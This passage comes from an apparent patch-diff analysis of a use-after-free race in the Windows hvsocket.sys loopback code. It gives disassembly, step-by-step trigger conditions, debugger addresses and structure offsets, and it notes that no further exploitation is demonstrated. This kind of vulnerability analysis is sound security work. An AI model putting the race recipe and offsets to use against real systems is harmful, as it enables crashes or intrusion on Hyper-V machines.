&lt;span class="nt"&gt;00000001C00070B3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;SpinLock&lt;/span&gt;
&lt;span class="nt"&gt;00000001C00070B7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;__imp_KeAcquireSpinLockRaiseToDpc&lt;/span&gt;
&lt;span class="nt"&gt;00000001C00070C3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;or&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;210&lt;/span&gt;&lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;flag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;write&lt;/span&gt;
&lt;span class="nt"&gt;00000001C00070D4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;VmbusTlTransitionDisconnectState&lt;/span&gt;
&lt;span class="nt"&gt;00000001C00070E1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;VmbusTlFinishDisconnectStateTransition&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Patched &lt;code&gt;VmbusTlLoopbackNotifyReceiveConsumed&lt;/code&gt; (&lt;code&gt;0x1C0006BB0&lt;/code&gt;) has no feature gate and no legacy branch; it unconditionally calls the reference-counted helper:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;---&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;PATCHED&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;VmbusTlLoopbackNotifyReceiveConsumed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x1C0006BB0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;---&lt;/span&gt;
&lt;span class="nt"&gt;00000001C0006BBF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rcx&lt;/span&gt;
&lt;span class="nt"&gt;00000001C0006BC2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;VmbusTlLoopbackReferenceEndpointDeliveryQueue&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;always&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;refcount&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;
&lt;span class="nt"&gt;00000001C0006BC7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rax&lt;/span&gt;
&lt;span class="nt"&gt;00000001C0006BCA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rax&lt;/span&gt;
&lt;span class="nt"&gt;00000001C0006BCD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;loc_1C0006CD2&lt;/span&gt;
&lt;span class="nt"&gt;00000001C0006BD3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;68&lt;/span&gt;&lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;operates&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;then&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x1C0006C3B&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;xadd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;reference&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;drop&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The teardown side confirms the direction. Unpatched &lt;code&gt;VmbusTlLoopbackDisconnect&lt;/code&gt; (&lt;code&gt;0x1C0006C30&lt;/code&gt;) skips the connection spinlock on the legacy branch:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006C6F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006C74&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006C76&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C0006C8B&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OFF&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;skip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;spinlock&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006C78&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;48&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SpinLock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;on&lt;/span&gt;&lt;span class="n"&gt;ly&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;taken&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;when&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;ON&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006C7C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_KeAcquireSpinLockRaiseToDpc&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006C8B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="n"&gt;B8h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;end&lt;/span&gt;&lt;span class="n"&gt;point&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unlocked&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;legacy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006C92&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="n"&gt;B8h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;end&lt;/span&gt;&lt;span class="n"&gt;point&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unlocked&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;legacy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Patched &lt;code&gt;VmbusTlLoopbackDisconnect&lt;/code&gt; (&lt;code&gt;0x1C00068B0&lt;/code&gt;) acquires the connection spinlock unconditionally before the read-and-null:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00068E7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;48&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SpinLock&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00068EB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_KeAcquireSpinLockRaiseToDpc&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;always&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00068F7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="n"&gt;B8h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;under&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00068FE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="n"&gt;B8h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;under&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000691E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_KeReleaseSpinLock&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Environment:&lt;/strong&gt; Unpatched &lt;code&gt;hvsocket.sys&lt;/code&gt;, with the feature-staging flag in the state that selects the legacy path (&lt;code&gt;EvaluateCurrentState&lt;/code&gt; returns 0). The default state is held in feature metadata and cannot be read from the binary; if the feature is enabled, the unpatched build already runs the safe path.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Socket Setup:&lt;/strong&gt; Create Hyper-V sockets (&lt;code&gt;AF_HYPERV&lt;/code&gt;, address family 34) forming a same-partition (loopback) connection.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Race Setup (Thread A):&lt;/strong&gt; Perform repeated &lt;code&gt;send()&lt;/code&gt;/receive operations to drive &lt;code&gt;VmbusTlLoopbackSend&lt;/code&gt; (&lt;code&gt;0x1C00065EC&lt;/code&gt;) or &lt;code&gt;VmbusTlLoopbackNotifyReceiveConsumed&lt;/code&gt; (&lt;code&gt;0x1C0006F50&lt;/code&gt;) onto the legacy branch that reads &lt;code&gt;connection+0x2B8&lt;/code&gt; without a reference.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Race Setup (Thread B):&lt;/strong&gt; Concurrently close the socket to drive &lt;code&gt;VmbusTlLoopbackDisconnect&lt;/code&gt; (&lt;code&gt;0x1C0006C30&lt;/code&gt;), whose legacy branch nulls &lt;code&gt;connection+0x2B8&lt;/code&gt; and drops the endpoint reference without the connection spinlock.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Window:&lt;/strong&gt; Thread B must drop the last endpoint reference and free the pool block (&lt;code&gt;ExFreePoolWithTag&lt;/code&gt;, tag &lt;code&gt;'Vnpi'&lt;/code&gt;) in the interval between Thread A's unreferenced read and its subsequent dereference.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable Effect:&lt;/strong&gt; A dereference of freed non-paged pool. With Driver Verifier Special Pool enabled for &lt;code&gt;hvsocket.sys&lt;/code&gt;, the access to the freed page faults immediately.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;6. Impact Assessment&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Primitive:&lt;/strong&gt; Use-after-free on the loopback endpoint pool object (pool tag &lt;code&gt;'Vnpi'&lt;/code&gt;, &lt;code&gt;0x69706E56&lt;/code&gt;), reachable only when the feature gate selects the legacy path.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Demonstrable impact:&lt;/strong&gt; A dereference of freed non-paged pool memory, which under Special Pool is a deterministic fault. Beyond that, no concrete exploitation primitive (controlled reclaim, information disclosure, or control-flow hijack) is demonstrable from these two builds; the endpoint layout, allocation site, and reclaim behavior needed to make any such claim are not established here.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reachability qualifier:&lt;/strong&gt; The safe (reference-counted) path is present in both builds. In the unpatched build the vulnerable legacy path is one branch of a feature gate, so its runtime reachability depends on the feature's default state, which is not encoded in the binary.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;7. Debugger Notes (unpatched target)&lt;/h2&gt;
&lt;p&gt;These addresses are real instructions in the unpatched image (base &lt;code&gt;0x1C0000000&lt;/code&gt; for analysis; add the runtime base from &lt;code&gt;lmvm hvsocket&lt;/code&gt;).&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x1C0006F62&lt;/code&gt; — &lt;code&gt;call EvaluateCurrentState&lt;/code&gt; in &lt;code&gt;VmbusTlLoopbackNotifyReceiveConsumed&lt;/code&gt;. &lt;code&gt;eax == 0&lt;/code&gt; after this selects the legacy branch.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C00070A3&lt;/code&gt; — &lt;code&gt;mov rdi, [rbx+2B8h]&lt;/code&gt;: the unreferenced endpoint read (&lt;code&gt;rbx&lt;/code&gt; = connection object). This value becomes stale if a concurrent disconnect frees the endpoint.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C00070AF&lt;/code&gt; — &lt;code&gt;mov rdi, [rdi+68h]&lt;/code&gt;: dereference of the unreferenced endpoint.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C0006C6F&lt;/code&gt; / &lt;code&gt;0x1C0006C76&lt;/code&gt; — the disconnect feature check and the &lt;code&gt;jz 0x1C0006C8B&lt;/code&gt; that skips the &lt;code&gt;connection+0x48&lt;/code&gt; spinlock on the legacy path.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C0006C8B&lt;/code&gt; / &lt;code&gt;0x1C0006C92&lt;/code&gt; — the disconnect read-and-null of &lt;code&gt;connection+0x2B8&lt;/code&gt; on the legacy path.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Structure offsets:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Connection object:&lt;/strong&gt; &lt;code&gt;+0x48&lt;/code&gt; = &lt;code&gt;KSPIN_LOCK&lt;/code&gt;; &lt;code&gt;+0x2B8&lt;/code&gt; = loopback endpoint pointer.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Endpoint object:&lt;/strong&gt; &lt;code&gt;+0x08&lt;/code&gt; = reference count; &lt;code&gt;+0x50&lt;/code&gt; = cleanup callback (dispatched via the guard-check indirect call); &lt;code&gt;+0x68&lt;/code&gt; = delivery-queue / peer pointer; &lt;code&gt;+0x210&lt;/code&gt; = flags dword.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;p&gt;An independent content-level comparison of the two builds (matching by symbol name across relocations) shows the security-relevant change is the removal of the &lt;code&gt;EvaluateCurrentState&lt;/code&gt; feature gate and its legacy path. The gate function &lt;code&gt;EvaluateCurrentState&lt;/code&gt; and the helper &lt;code&gt;VmbusTlCreateListenEndpoint&lt;/code&gt; (inlined into &lt;code&gt;VmbusTlProviderListen&lt;/code&gt;; its trace string is retained at &lt;code&gt;0x1C001E59D&lt;/code&gt;) are the only functions removed. The functions whose bodies change because the gate/legacy path was removed are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;VmbusTlLoopbackNotifyReceiveConsumed&lt;/code&gt; (&lt;code&gt;0x1C0006F50&lt;/code&gt; → &lt;code&gt;0x1C0006BB0&lt;/code&gt;):&lt;/strong&gt; Legacy unreferenced read at &lt;code&gt;0x1C00070A3&lt;/code&gt; removed; now always uses &lt;code&gt;VmbusTlLoopbackReferenceEndpointDeliveryQueue&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;VmbusTlLoopbackSend&lt;/code&gt; (&lt;code&gt;0x1C00065EC&lt;/code&gt;):&lt;/strong&gt; Legacy unreferenced read at &lt;code&gt;0x1C0006640&lt;/code&gt; removed; now always references the endpoint before use.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;VmbusTlLoopbackDisconnect&lt;/code&gt; (&lt;code&gt;0x1C0006C30&lt;/code&gt; → &lt;code&gt;0x1C00068B0&lt;/code&gt;):&lt;/strong&gt; The connection spinlock at &lt;code&gt;connection+0x48&lt;/code&gt; is now acquired unconditionally around the read-and-null of &lt;code&gt;connection+0x2B8&lt;/code&gt;; three &lt;code&gt;EvaluateCurrentState&lt;/code&gt; calls removed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;VmbusTlLoopbackAcceptConnection&lt;/code&gt; (&lt;code&gt;0x1C001B630&lt;/code&gt;):&lt;/strong&gt; Five &lt;code&gt;EvaluateCurrentState&lt;/code&gt; calls removed; endpoint acquisition/release unified through the reference-counted helper.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;VmbusTlNotifyListenerAccept&lt;/code&gt; (&lt;code&gt;0x1C0005F18&lt;/code&gt;):&lt;/strong&gt; Feature-gated endpoint reference handling collapsed to the single reference-counted path.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;VmbusTlCommonConnectCompletion&lt;/code&gt; (&lt;code&gt;0x1C0002670&lt;/code&gt;):&lt;/strong&gt; The &lt;code&gt;EvaluateCurrentState&lt;/code&gt;-gated branch around the connection reference decrement at &lt;code&gt;connection+0x130&lt;/code&gt; is removed; the decrement is now handled without the gate.&lt;/li&gt;
